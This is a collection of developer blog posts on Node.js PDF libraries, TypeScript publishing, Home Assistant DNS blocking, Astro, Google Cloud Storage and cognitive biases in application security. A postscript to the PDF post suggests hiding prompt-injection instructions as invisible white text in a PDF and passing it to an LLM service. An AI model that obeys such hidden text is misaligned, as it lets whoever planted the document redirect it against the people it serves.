pdf-lib - for creating and modifying PDFs. This npm package receives regularly more than 500,000 downloads a week and is maintained by a single developer who updated it lastly around 3 years ago in July 2021.
pdfjs-dist - this one is the popular PDF.js library that is maintained by the Mozilla team and is used by many other projects. It is more widely downloaded, at about 2 million weekly downloads and is updated more frequently, including provenance which is a great security feature to be utilized by library maintainers.

How to Create PDFs with PDF Lib in Node.js

PDF creation with PDF Lib is very granular. You can create a new PDF document of a specific width and height, add pages, draw text, images and create or fill-in form elements.

A simple PDF creation program in Node.js is as follows:

import { PDFDocument, StandardFonts, rgb } from 'pdf-lib'
import fs from 'node:fs/promises'

// Create a new PDFDocument
const pdfDoc = await PDFDocument.create()

// Embed the Times Roman font
const timesRomanFont = await pdfDoc.embedFont(StandardFonts.TimesRoman)

// Add a blank page to the document
const page = pdfDoc.addPage()

// Get the width and height of the page
const { width, height } = page.getSize()

// Draw a string of text toward the top of the page
const fontSize = 30
page.drawText('Creating PDFs in JavaScript is awesome!', {
  x: 50,
  y: height - 4 * fontSize,
  size: fontSize,
  font: timesRomanFont,
  color: rgb(0, 0.53, 0.71),
})

// Serialize the PDFDocument to bytes (a Uint8Array)
const pdfBytes = await pdfDoc.save()

// write to file
await fs.writeFile('./uploads/mal.pdf', pdfBytes)

Very simple, intuitive API. You can refer to the GitHub repository of the library to see more examples and use cases.

How to Read and Parse PDFs with PDF.js in Node.js

Reading and parsing text off of PDF files is a bit more involved than it seems at first.

The reason is that you can’t just read the entire contents of a PDF as one giant text strings because there’s granularity involved - pages. And so indeed, the PDF.js library is built around the concept of pages and you have to iterate over each page in the PDF file to extract the text from it.

Here’s how you extract all the text from all pages in a PDF file:

import fs from "node:fs/promises";
import path from "node:path";
import * as pdfjsLib from "pdfjs-dist/legacy/build/pdf.mjs";

const filePath = "uploads/document.pdf";

async function extractTextFromPDF(pdfPath) {

  // Read the PDF file into a buffer and then
  // parse it with PDF.js
  const pdfData = await fs.readFile(pdfPath);
  const pdfDataArray = new Uint8Array(pdfData);
  const pdfDocument = await pdfjsLib.getDocument({
    data: pdfDataArray,
    standardFontDataUrl: path.join(
      import.meta.dirname,
      "node_modules/pdfjs-dist/standard_fonts/"
    ),
  }).promise;

  let extractedText = "";

  // Iterate through all the pages in the PDF file
  // and extract the text from each page, then assign it
  // to an accumulator variable  
  for (let pageNum = 1; pageNum <= pdfDocument.numPages; pageNum++) {
    const page = await pdfDocument.getPage(pageNum);
    const textContent = await page.getTextContent();
    const pageText = textContent.items.map((item) => item.str).join(" ");
    extractedText += pageText + "\n";
  }

  return extractedText;
}

async function main() {
  const text = await extractTextFromPDF(filePath);
  console.log(text);
}

main().catch(console.error);

How to fix “warning standardFontDataUrl” error with PDF.js in Node.js

Lastly, you might encounter a console warning when using Mozilla’s PDF.js library in Node.js like I did, which relates to fonts.

You’ll notice that when we passed the PDF document data to the pdfjsLib.getDocument function, I also specified a standardFontDataUrl option. This is because the PDF.js library needs to be specified some directory to locate fonts related to the PDF document.

If you omit this option you’ll get a console warning when you run the Node.js PDF parsing program such as:

Warning: fetchStandardFontData: failed to fetch file

To solve that, I specified the location of the fonts that are shipped in the pdfjs-dist package:

standardFontDataUrl: path.join(
  import.meta.dirname,
  "node_modules/pdfjs-dist/standard_fonts/"
),

That’s it. Happy hacking!

p.s. to riff off of my hacking blessings to you - here’s a crazy idea: change the color of the text added in the PDF from black or whatever you chose to white on white background, making it invisible, throw in some classic prompt injection instructions and pass that over to an LLM powered service and see what happens :-)

TypeScript in 2025 with ESM and CJS npm publishing is still a mess

Tue, 14 Jan 2025 00:00:00 GMT

How does the JavaScript ecosystem tooling looks like in 2025 for TypeScript developers and publishing to the registry?

Well, first off, there are now several JavaScript ecosystem points in the toolchain that are on the verge of hopefully unlocking a better developer experience for TypeScript developers and for a modern JavaScript ecosystem as a whole. This extends and includes gaps related to dual publishing of ESM and CJS modules to a registry and so on.

So what’s in store right now with regards to modules and publishing toolchain in 2025?

JSR.io - A new JavaScript registry that aims to replace npmjs.com. This isn’t just a new storage place to push your packages to. JSR aims to be the natural choice to publish modern JavaScript packages and that means that code is written with TypeScript and packages are distributed via the modern ECMAScript modules as is the web standard for.
Node.js v22 and v23 introduced native support for CommonJS modules to require ESM modules. This was previously available via the experimental command-line flag --experimental-require-module but with v23 and a backport to v22 of Node.js, this is now supported out of the box. To recall why this is a big deal in terms of relieving the pain of dual publishing, it’s because prior to this, Node.js would refuse to load ESM modules from a CJS module and would require you to manage package.json exports, declare the type field, and so on. That’s what lead to the dual publishing of ESM and CJS packages in the first place.

TypeScript and ESM Package Toolchain in 2025

With all of the above context and new features in Node.js, and possibly the rise of the new JSR.io registry, not everyone are on the latest edge of the Node.js runtime and there’s some catching up to do.

For this reason, I’m still likely going to manage dual publishing of ESM and CJS packages for a while. This is where the package build toolchain comes in and I want to share what I’ve come up with as a good balance for supporting TypeScript and ECMAScript modules that get transpiled and bundled to CommonJS modules (and to ESM) with a dual module system publishing strategy.

tsup

So tsup’s purpose is to be a bundler for Node.js and browsers that is simple to use. It might claim to be zero-config but I ended up having to manage a tsup.config.ts regardless to customize and explicitly declare the behavior I’m expecting from the toolchain.

The role for tsup is that I run it as part of the npm run build process in which it transpiles TypeScript to JavaScript (and can bundle it into a single file if you choose to) and allows me to output both CJS and ESM modules, taking care of the dist/ directory and all of that. I still however had to manage the package.json exports field and the type field to declare the module system.

Here’s the related package.json snippet that I use tsup with:

{
  "types": "dist/main.d.ts",
  "type": "module",
  "bin": "./dist/bin/cli.cjs",
  "exports": {
    ".": {
      "import": {
        "types": "./dist/main.d.ts",
        "default": "./dist/main.mjs"
      },
      "require": {
        "types": "./dist/main.d.cts",
        "default": "./dist/main.cjs"
      },
      "default": "./dist/main.mjs"
    },
    "./dist/*": {
      "types": "./dist/*.d.ts",
      "import": "./dist/*.mjs",
      "require": "./dist/*.cjs"
    }
  },
  "scripts": {
    "build": "tsc && tsup"
  }
}

And then my tsup.config.ts has some specific declarations in it:

My entry points. You’ll notice there are two, due to the CLI executable that gets shipped with the package.
The extension for the output files being .mjs and .cjs for ESM and CJS respectively so that older Node.js versions can still require the CJS module based on the filename convention.

import { defineConfig } from 'tsup'

export default defineConfig([
  {
    entryPoints: ['src/main.ts', 'src/bin/cli.ts'],
    format: ['cjs', 'esm'],
    dts: true,
    minify: false,
    outDir: 'dist/',
    clean: true,
    sourcemap: false,
    bundle: true,
    splitting: false,
    outExtension (ctx) {
      return {
        dts: '.d.ts',
        js: ctx.format === 'cjs' ? '.cjs' : '.mjs',
      }
    },
    treeshake: false,
    target: 'es2022',
    platform: 'node',
    tsconfig: './tsconfig.json',
    cjsInterop: true,
    keepNames: true,
    skipNodeModulesBundle: false,
  },
])

tshy

An alternative to tsup is tshy. tshy is much higher-level and opinionated than tsup — it builds CJS and ESM (using tsc, writes to your package.json, and reads config from package.json & tsconfig only and is not not intended as a CLI tool or bundler.

I’ve had friends such as Eric Allam from Trigger.dev who recommended tshy but I’ve settled on tsup for now as the balance of control and simplicity is what I’m looking for.

TypeScript executors

You’re likely going to need what’s referred to as TypeScript executors which are tools that allow you to run TypeScript files ad-hoc, without having to transpile them to JavaScript first as a build step and only then run them. You can think of them as a replacement for node, since node doesn’t support TypeScript files out of the box (yet! there’s work in progress there too :-))

ts-node - I’ve been using ts-node for running the tests. I have it set up so that I execute node and provide it with the --loader tsnode/esm flag to be able to load TypeScript files.

Here is an example of ts-node in my scripts section of package.json:

{
  "scripts": {
        "test": "c8 node --loader ts-node/esm --test __tests__/**",
        "test:watch": "c8 node --loader ts-node/esm --test --watch __tests__/**"
  }
}

Another option you can consider is tsx.

Template for TypeScript and Dual Publishing in 2025

So instead of having to re-configure a project from scratch every time I want to build a new project I’ve managed to get a template going that I can re-use easily.

It’s a scaffold project that I’m publishing to the npm registry and it’s called create-node-lib. You can easily scaffold a new project with:

$ npx create-node-lib my-new-lib

This will scaffold a new project with tsup, TypeScript, ts-node, coverage, a bunch of useful GitHub Actions and and all the necessary configurations for dual publishing ESM and CJS modules. You can find an example of an already scaffolded project that I use as a testing ground called baboop which is actually a fun little CLI to pop-up desktop notifications.

Home Assistant YouTube DNS Blocking with AdGuard and Lovelace Buttons Setup

Tue, 07 Jan 2025 00:00:00 GMT

In a prior article I’ve written how to block client devices in your LAN from accessing YouTube on Home Assistant but that setup was somewhat clunky because of the switch interface on the Lovelace UI. Since then, I’ve been wanting to move to a more action friendly interface via the Lovelace UI with the help of purpose-specific buttons that can be clicked to toggle the DNS blocking on and off.

The reason for using buttons instead of a switch is that a switch inherently needs to derive a state to be able to properly send the “on” or “off” state to the AdGuard Home integration. This is because the switch is a binary state and it’s not clear whether the switch is on or off when the Lovelace UI loads. If you aren’t planning to overly complicate the state management via GET requests to the AdGuard integration then we can keep things easier with buttons.

Setting up Home Assistant YouTube DNS blocking with Lovelace Buttons

So first thing we need to do is define the command line API calls with curl via the following configuration.yaml definition:

command_line:
  - switch:
      name: Strict Entertainment Media
      unique_id: strict_entertainment_media
      command_on: 'curl -X POST -m 10000 -H "content-Type:application/json" -s -u "username:password" http://a0d7b954-adguard:3000/control/clients/update -d "{\"name\": \"HouseholdPublic\",\"data\":{\"name\":\"HouseholdPublic\",\"ids\": [\"192.168.68.52\", \"192.168.68.50\", \"192.168.68.61\", \"192.168.68.51\",\"192.168.68.58\"],\"tags\": [],\"upstreams\": [],\"filtering_enabled\": true,\"parental_enabled\": true,\"safebrowsing_enabled\": true,\"safesearch_enabled\": true,\"use_global_blocked_services\": false,\"use_global_settings\": true, \"blocked_services\": [\"youtube\"]}}"'
      command_off: 'curl -X POST -m 10000 -H "content-Type:application/json" -s -u "username:password" http://a0d7b954-adguard:3000/control/clients/update -d "{\"name\": \"HouseholdPublic\",\"data\":{\"name\":\"HouseholdPublic\",\"ids\": [\"192.168.68.52\", \"192.168.68.50\",\"192.168.68.61\", \"192.168.68.51\",\"192.168.68.58\"],\"tags\": [],\"upstreams\": [],\"filtering_enabled\": true,\"parental_enabled\": true,\"safebrowsing_enabled\": true,\"safesearch_enabled\": true,\"use_global_blocked_services\": true,\"use_global_settings\": true, \"blocked_services\": []}}"'

In this setup, I still maintain separate commands for on and off state via a so-called switch but we’re going next to create a script for each of these commands that will be used by the Lovelace UI buttons.

Open up your scripts.yaml file and add the following:

block_youtube:
  alias: Block YouTube
  sequence:
    - service: switch.turn_on
      target:
        entity_id: switch.strict_entertainment_media

unblock_youtube:
  alias: Unblock YouTube
  sequence:
    - service: switch.turn_off
      target:
        entity_id: switch.strict_entertainment_media

These are now service scripts which can be called by the Lovelace UI buttons. Next up, we’re going to create the Lovelace UI buttons.

Creating Lovelace UI buttons for YouTube DNS blocking

We are going to end up with the following buttons layout:

And here is how the visual editor looks like to get that setup:

The Lovelace UI configuration for the buttons is as follows:

type: horizontal-stack
cards:
  - show_name: true
    show_icon: true
    type: button
    tap_action:
      action: call-service
      service: script.block_youtube
      target: {}
    icon: mdi:youtube
    name: Block YouTube
  - show_name: true
    show_icon: true
    type: button
    tap_action:
      action: call-service
      service: script.unblock_youtube
    name: Unblock YouTube
    icon: mdi:youtube

Customizing Astro Starlight Sidebar for Gated Content with Authentication

Mon, 06 Jan 2025 00:00:00 GMT

The Astro framework powers this personal blog, my Node.js Secure Coding website, and now my newly launched Bun Security website. I’ve been using Astro for a while now and I’m a big fan of the framework. It’s fast, it’s simple, and it’s a joy to work with.

For the Bun Security course, because this is an online self-paced educational content, I settled on using Starlight as the documentation framework. Starlight is a static site generator that’s built on top of Astro, and it comes with pre-built components, layout and design that provides a UI for documentation websites and that fits well with course content too.

Specifically for the Bun Security course, I wanted to created a mix of open content about news and security topics for the Bun server-side JavaScript runtime, but also to have gated content which makes up the course material. This is where things get a bit more interesting and require some customization to get this working.

So to set us off for the rest of this Astro Starlight customization journey, we’re going to leverage the following parts:

Astro as the foundational framework that powers the website
Starlight as the documentation framework that provides the UI and layout to put content in
Clerk as the authentication provider that will be used to decide on access to the gated content

Next up, the customizable part of Starlight are going to be the sidebar items which we don’t want to just publicly show and have pre-generated but rather generate the content via server-side rendering (so we can decide on access to the content based on the user’s authentication status), and the ability to customize Starlight’s sidebar to get granular control of the sidebar items (allows us to decide whether to show the chapter name and the sub-chapters or not).

Let’s begin.

Astro’s Starlight configuration

The following is my stock configuration for the Starlight integration part of Astro:

    starlight({
      prerender: false,
      title: "Bun Security Essentials | Course",
      sidebar: [
        {
          label: "Getting started",
          autogenerate: { directory: "course/getting-started" },
        },
        {
          label: "Bun Security Introduction",
          autogenerate: { directory: "course/introduction" },
        },
        //
        // ... more chapters go here...
        //
        {
          label: "👉 ",
          link: "/",
          badge: { text: 'Buy the Course', variant: 'note' },
        },
      ],
      social: [
        { icon: 'github', label: 'GitHub', href: 'https://github.com/lirantal' },
      ],
      disable404Route: true,
      customCss: ["./src/assets/styles/starlight.css"],
      favicon: "/favicon.ico",
      components: {
        SiteTitle: "./src/components/ui/starlight/SiteTitle.astro",
        Sidebar: "./src/components/ui/starlight/Sidebar.astro",
      },
    }),

In the above, I’ll call out the two important parts:

The prerender option has to be set to false so that we can control the sidebar items and generate them dynamically and also generate the actual site’s content dynamically based on the user’s authentication status.
The Sidebar component override which allows to customize the sidebar items and generate them dynamically.

The Sidebar component is where we can decide which content to render for the sidebar items and we’re going to use the Clerk authentication SDK to do so based on the user’s authentication status.

---
import Default from "@astrojs/starlight/components/Sidebar.astro";

const user = await Astro.locals.currentUser();
const { sidebar } = Astro.locals.starlightRoute;

const strippedSidebar = sidebar.filter((entry) => {

  const allowedEntries = [
    'Getting started',
  ]

  if ((entry.type === "group" || entry.type ==='link') && allowedEntries.includes(entry.label)) {
    return true;
  }

  if (user) {
    return true;
  } else {
    entry.label = `[Locked]`;
    entry.entries = [];
    entry.badge = {
      text: "Get Full Course",
      variant: "tip",
    };
    return true;
  }
});

Astro.locals.starlightRoute.sidebar = strippedSidebar;
---

<Default />

The user variable information is available due to the Clerk integration and the middleware that gets used as part of the Clerk setup into an Astro project.

Next up, we create our own instance of strippedSidebar which is made up of our own logic (authentication based) on how to render the items for the sidebar. In this case, we’re only allowing the “Getting started” chapter to be publicly available, and the rest of the chapters are gated behind the authentication.

How does it look?

Here is a screenshot of the Starlight sidebar with the customization applied so you can get a visual. This is from my Bun Security website:

How to Setup Google Cloud Project and Store Images in Google Cloud

Sat, 21 Dec 2024 00:00:00 GMT

In this write-up I will describe how to setup a Google Cloud project (on GCP) and use it to store images in Google Cloud Storage. If you’re looking into storing uploaded images via an S3-like alternative with Google through a step-by-step tutorial and this is a write-up for you.

Init a new Google Cloud project with the `glcoud` CLI

1. Install the gcloud CLI

Initiate a new project:

gcloud projects create credster --name="Credster project" --labels=type=credster

1. Set the active project from now on to the rest of the usage for gcloud:
```
gcloud config set project PROJECT_ID
```
1. Link the project to a billing account so you can open up APIs. This has to be done from the UI as follows:
- 4.1. Choose the project to be active:
- 4.2. Click on Billing from the available boxes:
- 4.3. Then choose Link a billing account:
- 4.4. Then set and choose the existing one already (if not, then create one):

Store images in Google Cloud Storage

In this case we need to achieve 3 things:

1. Create a bucket to hold all image files
1. Create a credentials API key in JSON format that we can load on the backend server to access and perform operations on the storage bucket
1. Update the bucket permissions to allow public access

Create images bucket

Create a bucket to hold uploaded images:

gcloud storage buckets create gs://cert_images --project credster

With an output of:

Creating gs://cert_images/...

Create service account for cloud storage

1. Go to API & Services → Credentials and click on Create Credentials and choose Service account:
1. Give it a name (backend-storage-access)
1. Assign it the role Storage admin:
1. Save it with Done
1. Now edit the service account and go to KEYS tab and create a new key and choose JSON key:
and then

it now downloaded a JSON file to your computer and gave the following dialog to draw attention on keeping it secure:

Update bucket permissions to view-all

Add allUsers to members of the bucket resource and give them role Storage object viewer.

gsutil iam ch allUsers:objectViewer gs://$BUCKET_NAME

Update bucket permissions to allow CORS

Read about CORS here and why it is needed

Create a local temporary JSON file to define allowed CORS for the bucket called cors-bucket-policy.json

[
    {
      "origin": ["*"],
      "method": ["GET", "PUT"],
      "responseHeader": ["Content-Type"],
      "maxAgeSeconds": 3600
    }
]

We can then update it properly to something like this when we go to production:

[
    {
      "origin": ["<https://your-example-website.appspot.com>"],
      "method": ["GET", "PUT"],
      "responseHeader": ["Content-Type"],
      "maxAgeSeconds": 3600
    }
]

gcloud storage buckets update gs://$BUCKET_NAME --cors-file=$CORS_CONFIG_FILE

View the CORS configuration for a bucket and confirm:

gcloud storage buckets describe gs://$BUCKET_NAME --format="default(cors)"

If needed to remove CORS completely:

gcloud storage buckets update gs://$BUCKET_NAME --clear-cors

Google Cloud Static Website Hosting

More information about Google Cloud static website hosting, with Firebase and otherwise can be found in the following resources:

Thinking Fast and Slow in Application Security

Thu, 12 Dec 2024 00:00:00 GMT

Imagine if we applied behavioral economics principles to application security methodologies and practices, what would be able to unlock? System1 and System2, All Systems Go.

No doubt, if you read Daniel Kahneman’s book “Thinking, Fast and Slow” you’ve likely been similarly fascinated by his insights into the two systems of thinking. And no doubt. He is, after all, a Nobel prize winning psychologist who revolutionized the field of economics. Together with Amos Tversky, they created immense value and contribution into the understanding the nuances and oddities of human decision making.

Inspired by this, I set out to see how could we apply the same human behavior principles to the domain of application security.

System1 and System2 in AppSec

System1 and System2 are two modes of thinking that we humans apply to various tasks during decision making. System1 is known for its speed and intuition while System2 is more deliberate and analytical.

How do we apply this foundational thinking fast and slow behavioral systems to the application security domain to derive better results?

System1: Fast Thinking in AppSec

To put System1 into the application security context, I’ll suggest some areas where this applies:

Running software composition analysis (SCA) tools: They are fast, deterministic and can be easily automated by security teams and developers alike. Developers in fact pay little overhead to running these tools - whether they get automated pull requests to upgrade vulnerable dependencies, or they spin off a snyk test command on the CLI to check for vulnerabilities in their project, this process is fast. The scanning process is fast, and the decision making is fast too - upgrade the dependency or not.
Generating SBOMs: Like SCA scanning, this is also a minimal effort win for developers and security teams. Generating an SBOM is an automated process too and have been largely commodotized.

System2: Slow Thinking in AppSec

Where System1 maps to automated tools, almost boolean decision making, System2 requires more work. Let me put some practical appsec exercises into the context:

Threat modeling: mostly a manual process that gets stakeholders in a room to discuss security threats and risks to a system. Can it be automated? Sure, but its effectiveness comes from the human interaction that uncovers hidden layers, assumptions and biases. You often threat model early into the design process of a feature or a project, so at that point, you also have little data to work with.
Secure code review: One of the most foundational and yet illusive concepts in secure coding is context. Context is key to understanding if a risk we identified is applicable or not. Does the data flow from the user impact the security of the system? Depends. It depends on the context of how the system uses the data, and which system uses the data. A secure code review can be automated to an extent but is more often than not a valuable exercises when expert and deep understanding of the system involved is present.
Analyzing SAST security findings: Somewhat similar to secure code review, when a developer reviews a list of security findings from a static analysis tool (SAST), they are burdened with figuring out call path flow, data flows, and context of the finding. Much of the information is also not easily available. For example, a developer who reviews the code may not have enough understanding of what type of data is being processed. Perhaps they have a bias to think the data is always text, a string, a literal, but in reality, an attacker may end up sending a payload that gets interpolated to an array by a middleware or a library. Analyzing SAST security findings requires understanding of source-to-sink and some security expertise to be easily actionable by developers in terms of applying mitigation and security controls effectively.

Fixing AppSec with Systematic Thinking

Kahneman research demonstrated that System1 thinking is in charge 95% of the time where as rational thinking through System2 is only 5% of the time. That makes sense, because System2 thinking takes effort, and is relatively slow. System2 requires more energy and time to process and apply logical thinking.

From the prism of developers, they are inherently less likely to focus on cross-cutting concerns like security due to the foundational business aspects (focus on features, value, delivery). This is where System1 thinking comes into play, especially for security tasks that developers would want automated so they don’t need to divert their train of thought to System2 thinking in order to address security issues brought up by the security team.

What impact would we unlock if we could move traditional System2 tasks into System1 for developers?

Anchoring Bias in AppSec

Anchoring bias is a cognitive bias that describes the common human tendency to rely too heavily on the first piece of information offered when making decisions. So imagine you walk into a store and you see a $1,000 Synology NAS (yes, I’ve been on the market for that :D) and then you see a $450 NAS. Your initial anchor is the $1,000 NAS, so you’re more likely to think the $450 NAS is a good deal.

So we established that during decision making we anchor initial piece of information as the relative point to which we make subsequent judgments.

Let me show you a real-world example of this in everyday life of a developer. Imagine a developer is installing a new package in their project. Their workflow is as follows:

npm install lodash

added 1 package, and audited 57 packages in 15s

found 17 vulnerabilities (1 low, 16 high)
  run `npm audit fix` to fix them, or `npm audit` for details

How did the 17 vulnerabilities that they were told about just now impacted them? They shipped to production. Nothing happened. They looked into some of them, found that they are as high as CVSS 9.8 but they are irrelevant to them because they are detected in development dependencies. Their anchor is set to “I’ve seen this before, it’s not a big deal”. Their first impression has been skewed to a point where they are less likely to seriously consider vulnerabilities as a threat to their system.

This is, in fact, a common problem in developer security and has been coined the term “vulnerability fatigue”. Developers are provided with too much information and findings of security vulnerabilities that get reported to them, most of which were justified to be deemed as irrelevant.

Loss Aversion in AppSec

To put simply, you’re more likely to feel awful about losing a $100 than you would feel good about randomly finding $100 on the back pocket of your jacket. This is loss aversion in action.

Or let me try to maybe give it a developer spin for an analogy - imagine a developer has now spent 10 hours fixing a ridiculously hard bug in their code. They’ve been debugging, reading logs, and working their brains out to fix this thing relentlessly. Suddenly, and right on point with a developer analogy, they hit the wrong git command and poof all of the staging area changes are gone. They’ve lost 10 hours of deep work and a proper solution to the bug. In that context, developers are more likely to feel awful about losing 10 hours of work than they would feel good about finding an npm dependency that saved them 10 hours of work.

How do we apply loss aversion to application security? To an extend, this depends on the sort of spin you want to give it. Do you want to use loss aversion to deter developers from making security mistakes? Or do you want to use it to encourage developers to fix security issues? Some ideas come to mind:

Rely on loss aversion to encourage developers to unveil the invisibility cloak of security issues by showing them the impact of a security vulnerability. You can do this by practicing a hands-on vulnerable and exploitation demonstration that creates the “aha” moment for developers.
Another option that is practiced more regularly is to set a policy where the CI pipeline breaks when a security vulnerability of a certain severity is detected. This is a form of loss aversion since developers are more likely to fix the issue to begin with by applying secure code review, secure coding practices, or even better - running static security analysis in their IDE, to already catch the issue before it gets to the CI pipeline and frustrates them.

Have more dramatic ideas on how to apply loss aversion to application security? I had some red-team thoughts but maybe these are a bit too abusive for developers and better kept in the drawer ;-)

Availability Bias in AppSec

If our brain can recall something easily we’re more likely to overestimate its significance.

How do we instill the availability bias to raise awareness for application security? Here are some suggestions:

Regularly share security incidents, data breaches and security news with the team.
Put developers into the “blue team” shoes by running security exercises like capture the flag (CTF) events but instead of attacking, they’re defending.

Developers will be more likely to remember security incidents that they were actively involved in the process or defending against during one of those fun exercises, and as a consequence will have a higher awareness of security issues day in and day out.

Confirmation Bias in AppSec

What would confirmation bias look like fo developers?

Developers are possibly more likely to confirm their own beliefs about how the organization handles security. For example, if a developer believes that security of the application (or the business) is the responsibility of the security team, they are more likely to confirm this belief by not taking security at all into account in their daily work. That’s someone else’s job, right?
What if developers were swayed by application security own’s catch 22? For example, if a developer believes that the application is secure because they’ve never seen a security incident, they never had a data breach, or they were never confronted with a security issue, they are more likely to confirm this belief by, once again, not practicing security in their day to day development practices.

Planning Fallacy in AppSec

Ever heard a developer say “this one is going to be a quick fix” - famous last words, right? Only to discover that there’s just so much more involved, your peer is out of office today, and some system credentials you needed are unavailable to you so the task ends up taking 3 days to fix.

Applying planning fallacy to application security can be reasoned with tasks relating to handling invalid user input. Let’s put that into a practical example - a developer implements a GET HTTP request which receives user input in the form of query parameters. Here’s a code example to illustrate:

app.get('/search', (req, res) => {
  const query = req.query.q;
  // do something with query
});

Developers fall into the trap of planning fallacy in two ways:

They either overestimate the simplicity of this task and don’t even consider handling invalid user input, validating or sanitizing the input as needed.
Or maybe they do take input validation into account but they underestimate the complexity of the task and end up with a half-baked solution. For example, consider the following code snippet:

app.get('/search', (req, res) => {
  const query = req.query.q;

  if (typeof query == 'string') {
    const sanitizedQuery = query.trim();

  }

  // do something with sanitizedQuery
});

But now what if the attacker sends in an array as the query parameter? Such as /q[]=1&q[]2. The developer didn’t account for that because they haven’t even thought of considering the possibility of an array being passed in as the query parameter. This is a popular attack vector known as HTTP parameter pollution.

Where do we go from here?

I would say that being aware of these cognitive biases and how developers may have their own biases is a good start for application security teams and security champions in the organization because it can clarify and provide deeper understanding of why developers may not be as security conscious as they should be. And that’s not something to hold against them. It’s not that developers don’t care about security, there are deeper forces at play that impact their decision making.

Not sure when we discover about System3 thinking, but for the time being, goodluck with System1 and System2 in application security! ;-)

Component auto import in Astro framework

Fri, 06 Sep 2024 00:00:00 GMT

The Astro frontend framework is such a delight to work with but I was missing a feature with regards to islands and framework components that allowed the page data, such as blog posts, to automatically import the components that are used in the markdown file. This is how I solved it.

About MDX and Astro

Astro is a frontend framework that allows you to build websites, like a personal blog, using a mix of static and dynamic content. It’s a great way to build websites that are fast, optimized for SEO due to the server-side rendering and server-generated pages support, and easy to maintain.

One of the features of Astro is that it allows you to use MDX files to create pages. MDX is a way to write JSX in markdown files. This allows you to extend the Markdown syntax and use framework components in your markdown files to create rich content. MDX is well-supported in Astro using the @astro/mdx package and the MDX syntax is built on-top of Markdown so you don’t really need to learn a new syntax and can maintain the frontmatter and markdown syntax that you are already familiar with.

Her’es an example of MDX files:

---
title: "Hello, world!"
date: "2024-06-06"
---

import SomeComponent from './SomeComponent.jsx';

# Hello, world!

<SomeComponent prop="propValue" />

This is a blog post written in MDX, <Button name="Click me" />.

The rendered page will have the SomeComponent and Button components rendered in the page content but will not show the import SomeComponent ... statement. This is because the @astro/mdx package processes the MDX file and injects the component imports into the page. Of course, don’t forget saving this file with an .mdx extension: blog-hello-world.mdx.

Auto import components in Astro

If you search “astro framework component auto import” long enough you’ll land on the community contributed Astro package called astro-auto-import by the splendid Chris Swithinbank.

In essence, the astro-auto-import package reads the component file from the path that you specify in the Astro integration configuration file and then generates the appropriate ESM module tree for it that gets injected into the markdown imports and looks something like this:

return {
        type: 'mdxjsEsm',
        value: '',
        data: {
            estree: {
                body: [],
                ...parseJs(js, { ecmaVersion: 'latest', sourceType: 'module' }),
                type: 'Program',
                sourceType: 'module',
            },
        },
    };

Benefits of using astro-auto-import:

You can import React, Vue, and other framework components.
You don’t need to explicitly and manually import the components in the markdown file.
You can maintain both .md and .mdx files side by side in your Astro blog.

Configure the Astro Auto Import integration by adding the following to your astro.config.mjs file:

// .. other imports
import AutoImport from 'astro-auto-import';

export default defineConfig({

    // ... other config options
    integrations: [
        // The Auto Import configuration here:
		AutoImport({
			imports: ['./src/components/widgets/BlogCallToAction.vue'],
		}),
        // Make sure that the mdx() integration is *after* the Auto Import integration
        // *AND IMPORTANT* to make sure that the mdx integration doesn't repeat any prior markdown configured
        // plugins like remarkToc or remarkReadingTime
		mdx(),
	],
	
	markdown: {
		remarkPlugins: [remarkToc, remarkReadingTime],
		extendDefaultPlugins: true,
	},
});

The following are especially important to note:

The imports array in the AutoImport configuration should contain the path to the components that you want to auto-import in the markdown files.
The mdx() integration should be placed after the AutoImport integration in the integrations array.
The mdx() integration should not repeat any prior markdown configured plugins like remarkToc or remarkReadingTime.

If you skip the last one and you have some markdown plugins stated in the mdx() integration, you will get an error like this:

[Vue warn]: Component <Anonymous> is missing template or render function.
[Vue warn]: Component <Anonymous> is missing template or render function.
 error   Could not render `[object Module]`. No matching import has been found for `[object Module]`.
  Hint:
    Please make sure the component is properly imported.
  Error reference:

or some other Vite error similar to the above which states that it can’t find the component that you are trying to render in the MDX file and the whole page won’t load. Astro will crash.

Once everything is installed and setup, just use the component in your MDX files without having to declare the import statement:


# Hello, world!

<SomeComponent prop="propValue" />

This is a blog post written in MDX, <Button name="Click me" />.

No more manual imports, kind of like using globals in Markdown files 😅 but hey, at least those Markdown files are portable and consistent and won’t have a weird import looking statement in the beginning of the file when you migrate or import them to a new system next time!

Using Promise.withResolvers in Node.js Tests

Fri, 30 Aug 2024 00:00:00 GMT

If you often encounter scenarios where managing asynchronous operations efficiently is crucial but you’re left wondering how exactly to do so (someone said event emitter? callback patterns??) then there’s good news and it’s called Promise.withResolvers.

One such scenario is running nested tests that have asynchronous code in Node.js and I want to visit that in this article. I’ll show you different ways to use the Promise.withResolvers API, a cool new JavaScript way introduced in Node.js v22.0.0, which simplifies the handling of nested tests by providing a more elegant way to signal their completion.

Use case: Promise.withResolvers in Tests

Another use-case for Promise.withResolvers is in tests. Here’s an example from the Node.js core tests when tests are nested and you want to signal the end of all tests:

import { test } from 'node:test';

test('foo', t => {
  t.test('bar', t => {
    t.plan(1)
    t.assert.equal(1, 1)
  })

  t.end()
})

In the above example, t.end() is used to signal the end of the test. HOWEVER, if you ran that code it wouldn’t work. Why? there’s no t.end() in the native Node.js test runner, so that code snippet above is really just a pseudo-code example.

How would you do it instead? probably something like this:

import { test } from 'node:test';

test('foo', async (t) => {
  await Promise.all([
    t.test('bar 1', async (t) => {
      assert.equal(1, 1);
    }),
    t.test('bar 2', async (t) => {
      assert.equal(1, 1);
    })
  ]);
});

Today is the first time I have ever had a need for Promise.withResolvers. It’s a rather effective hack around not having t.end.

James Sumners shared on X

But, Promise withResolvers to the rescue! 🦸‍♀️

If you want to use Promise instead of the pseudo-code t.end() or our Promise.all() wrapper, you can use Promise.withResolvers like so:

test('foo', async t => {
  const { promise, resolve } = Promise.withResolvers();

  let completedTests = 0;
  const totalTests = 2;

  const checkCompletion = () => {
    completedTests += 1;
    if (completedTests === totalTests) {
      resolve();
    }
  };

  t.test('bar 1', t => {
    t.assert.equal(1, 1);
    checkCompletion();
  });

  t.test('bar 2', t => {
    t.assert.equal(1, 1);
    checkCompletion();
  });

  await promise;
});

In the above example, we’re using Promise.withResolvers to signal the end of the test. We’re keeping track of the number of completed tests using a counter and when all tests are completed, we call resolve() to signal the end of the test.

Another refactor of the above code could be to use Promise.all():

import { test } from 'node:test';
import { setTimeout } from 'node:timers/promises'

test('foo', async t => {
  const { promise, resolve } = Promise.withResolvers();

  const subtests = [
    t.test('bar 1', async t => {
      await setTimeout(2500);
      t.assert.equal(1, 1);
    }),
    t.test('bar 2', async t => {
      await setTimeout(5500);
      t.assert.equal(1, 1);
    })
  ];
